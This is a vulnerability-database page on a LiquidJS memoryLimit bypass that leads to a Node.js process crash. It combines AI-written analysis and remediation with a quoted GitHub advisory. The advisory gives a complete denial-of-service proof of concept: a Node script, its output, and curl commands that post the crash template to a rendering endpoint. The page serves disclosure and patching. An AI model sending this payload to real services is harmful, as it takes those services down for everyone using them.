Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend HTTP request with reverse range expression
-
DeliveryBypass memoryLimit security check
-
ExploitAllocate unlimited memory with string flattening
-
ExecutionTrigger V8 fatal error
-
ImpactCrash Node.js process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Remote unauthenticated attacker can exploit LiquidJS template engines processing untrusted user input via HTTP requests. Requires LiquidJS to be used for template rendering without disabling or properly enforcing the memoryLimit mechanism. No victim interaction needed; single crafted HTTP request triggers V8 fatal error and crashes Node.js process. |
| Impact | This vulnerability presents critical real-world risk despite the 7.5 CVSS score. The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H indicates network-accessible attacks with low complexity requiring no privileges or user interaction, making it trivially exploitable. The attack is completely automatable and results in total service unavailability through process termination. Applications accepting user-supplied Liquid templates (common in CMS platforms, email template editors, and SaaS applications) are immediately exploitable with a 400-byte payload. The public availability of a working proof-of-concept significantly elevates exploitation likelihood. Administrators who configured memoryLimit specifically for security are operating under a false sense of protection. Container restart policies provide minimal mitigation as repeated attacks create restart loops with continuous service disruption affecting all users. |
| Exploit ScenarioDerived | An attacker submits a malicious Liquid template to a CMS preview endpoint or email template editor that uses LiquidJS. The 400-byte payload contains five reverse range loops to drive the memory counter negative, followed by 27 string doubling operations and a replace filter invocation. When the server renders this template, V8 attempts to flatten a 134MB cons-string, triggers a Fatal error, and immediately terminates the Node.js process, dropping all active connections and requiring manual or automated restart to restore service. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 25, 2026
LiquidJS versions 10.24.x and earlier contain a memory limit bypass vulnerability that allows unauthenticated attackers to crash Node.js processes through a single malicious template. By exploiting reverse range expressions to drive the memory counter negative, attackers can allocate unlimited memory and trigger a V8 Fatal error that terminates the entire process, causing complete denial of service. A detailed proof-of-concept exploit is publicly available demonstrating the full attack chain from bypass to process crash.
RemediationAI
Upgrade LiquidJS to the patched version immediately by applying the fix available at https://github.com/harttle/liquidjs/commit/95ddefc056a11a44d9e753fd47a39db2c241e578. Consult the vendor security advisory at https://github.com/harttle/liquidjs/security/advisories/GHSA-9r5m-9576-7f6x for complete upgrade instructions and version recommendations. Until patching is complete, implement defense-in-depth controls including strict template input validation, template sandboxing with separate process isolation, rate limiting on template rendering endpoints, and network-level access restrictions to trusted IP ranges only. For containerized deployments, configure aggressive resource limits at the container level (memory cgroups) to prevent memory exhaustion from affecting other workloads, though this will not prevent the Fatal error crash itself.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
LiquidJS is a Node.js template engine (pkg:npm/liquidjs) that implements the Liquid templating language. The vulnerability stems from improper input validation (CWE-20) in the memory limit enforcement mechanism. When evaluating range tokens like (low..high), the code calculates memory usage as 'high - low + 1' without validating that this result is non-negative. Reverse ranges such as (100000000..1) produce negative values that are added to the memory counter, driving it below zero and effectively disabling the memoryLimit protection. The vulnerability is escalated to a process crash by creating a V8 cons-string through repeated string concatenation, then forcing flattening via the replace filter, which triggers a Fatal error at the C++ level that bypasses all JavaScript exception handlers.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request.
Details
When LiquidJS evaluates a range token (low..high), it calls ctx.memoryLimit.use(high - low + 1) in src/render/expression.ts:70 to account for memory usage. However, for reverse ranges where low > high (e.g., (100000000..1)), this computation yields a negative value (1 - 100000000 + 1 = -99999998).
The Limiter.use() method in src/util/limiter.ts:11-14 does not validate that the count parameter is non-negative. It simply adds count to this.base, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured memoryLimit pass the base + count <= limit assertion.
// src/render/expression.ts:67-72
function * evalRangeToken (token: RangeToken, ctx: Context) {
const low: number = yield evalToken(token.lhs, ctx)
const high: number = yield evalToken(token.rhs, ctx)
ctx.memoryLimit.use(high - low + 1) // high=1, low=1e8 → use(-99999999)
return range(+low, +high + 1)
}
// src/util/limiter.ts:11-14
use (count: number) {
count = +count || 0
assert(this.base + count <= this.limit, this.message)
this.base += count // base becomes negative
}Escalation to Process Crash via Cons-String Flattening
V8 optimizes string concatenation (append filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means {% assign s = s | append: s %} repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.
However, when a filter that requires the full string buffer is applied - such as replace - V8 must "flatten" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a V8 C++ level Fatal error (Fatal JavaScript invalid size error 134217729) that:
- Cannot be caught by JavaScript
try-catchorprocess.on('uncaughtException') - Immediately terminates the Node.js process (exit code 133 / SIGTRAP)
- Crashes the entire service, not just the attacking connection
The complete attack chain:
- Insert 5 reverse ranges
{% for x in (100000000..1) %}{% endfor %}→ memory budget becomes -500M - Build a 134MB cons-string via 27 iterations of
{% assign s = s | append: s %}→ negligible actual memory - Apply
{% assign flat = s | replace: 'A', 'B' %}→ V8 attempts to flatten → Fatal error → process crash
The attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.
PoC
- LiquidJS <= 10.24.x with
memoryLimitoption enabled - Attacker can control Liquid template source code
Save the following as poc_memorylimit_bypass.js and run with node poc_memorylimit_bypass.js:
const { Liquid } = require('liquidjs');
(async () => {
const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit
// Step 1 - Baseline: memoryLimit blocks large allocation
console.log('=== Step 1: Baseline (should fail) ===');
try {
const baseline = "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}";
const result = await engine.parseAndRender(baseline);
console.log('Result:', result); // Should not reach here
} catch (e) {
console.log('Blocked:', e.message); // "memory alloc limit exceeded"
}
// Step 2 - Bypass: reverse ranges drive counter negative
console.log('\n=== Step 2: Bypass (should succeed) ===');
try {
const bypass = "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}";
const result = await engine.parseAndRender(bypass);
console.log('Result:', result); // "134217728" - 134MB allocated despite 100MB limit
} catch (e) {
console.log('Error:', e.message);
}
// Step 3 - Process crash: cons-string flattening via replace
console.log('\n=== Step 3: Process crash (node process will terminate) ===');
console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.');
try {
const crash = [
...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'),
"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}",
"{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}"
].join('');
const result = await engine.parseAndRender(crash);
console.log('Result:', result); // Should not reach here
} catch (e) {
console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable
}
})();Expected output:
=== Step 1: Baseline (should fail) ===
Blocked: memory alloc limit exceeded, line:1, col:43
=== Step 2: Bypass (should succeed) ===
Result: 134217728
=== Step 3: Process crash (node process will terminate) ===
If the process exits here with code 133/SIGTRAP, the crash is confirmed.
#
# Fatal error in , line 0
# Fatal JavaScript invalid size error 134217729
#The process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and cannot be caught by try-catch, process.on('uncaughtException'), or any JavaScript error handler.
HTTP Reproduction (for applications that accept user templates)
If the application exposes an endpoint that renders user-supplied Liquid templates with memoryLimit configured (e.g., CMS preview, newsletter editor, etc.):
# Step 1 - Baseline: should return "memory alloc limit exceeded"
curl -s -X POST http://<app>/render \
-H "Content-Type: application/json" \
-d '{"template": "{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'
# Step 2 - Bypass: should return "134217728" (134MB allocated despite 100MB limit)
curl -s -X POST http://<app>/render \
-H "Content-Type: application/json" \
-d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'
# Step 3 - Process crash: connection drops, server process terminates
curl -s -X POST http://<app>/render \
-H "Content-Type: application/json" \
-d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\''A'\'', '\''B'\'' %}{{ flat | size }}"}'Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.
Impact
An attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the memoryLimit protection entirely and crash the Node.js process:
- Complete bypass of the
memoryLimitsecurity mechanism: The explicitly configured memory limit becomes ineffective. - Process crash from a single HTTP request: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception.
- Service-wide denial of service: All in-flight requests are terminated. Manual restart or container restart policy is required to recover.
- False sense of security: Administrators who configured
memoryLimitbelieve their service is protected when it is not. - Container restart policy does not mitigate: Even with Docker
restart: alwaysor Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.
Blast Radius
ecosystem impact- 11 npm packages depend on liquidjs (4 direct, 7 indirect)
Ecosystem-wide dependent count for version 10.24.0.
Executive ViewAI
Any Node.js application using LiquidJS 10.24.x or earlier is vulnerable to complete service disruption through a single malicious template submission. Attackers can crash production processes remotely without authentication, impacting availability for all users relying on affected services. Immediate patching is required to restore resilience.
Apply vendor patch. If immediate patching is not feasible: (1) Implement network-level input validation to reject malicious template patterns; (2) Disable or restrict LiquidJS template processing for untrusted sources; (3) Isolate affected services with strict memory limits and process monitoring to detect and restart crashed instances; (4) Deploy WAF rules to block known exploit payloads involving reverse range expressions.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
EUVD-2026-16062
GHSA-9r5m-9576-7f6x
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB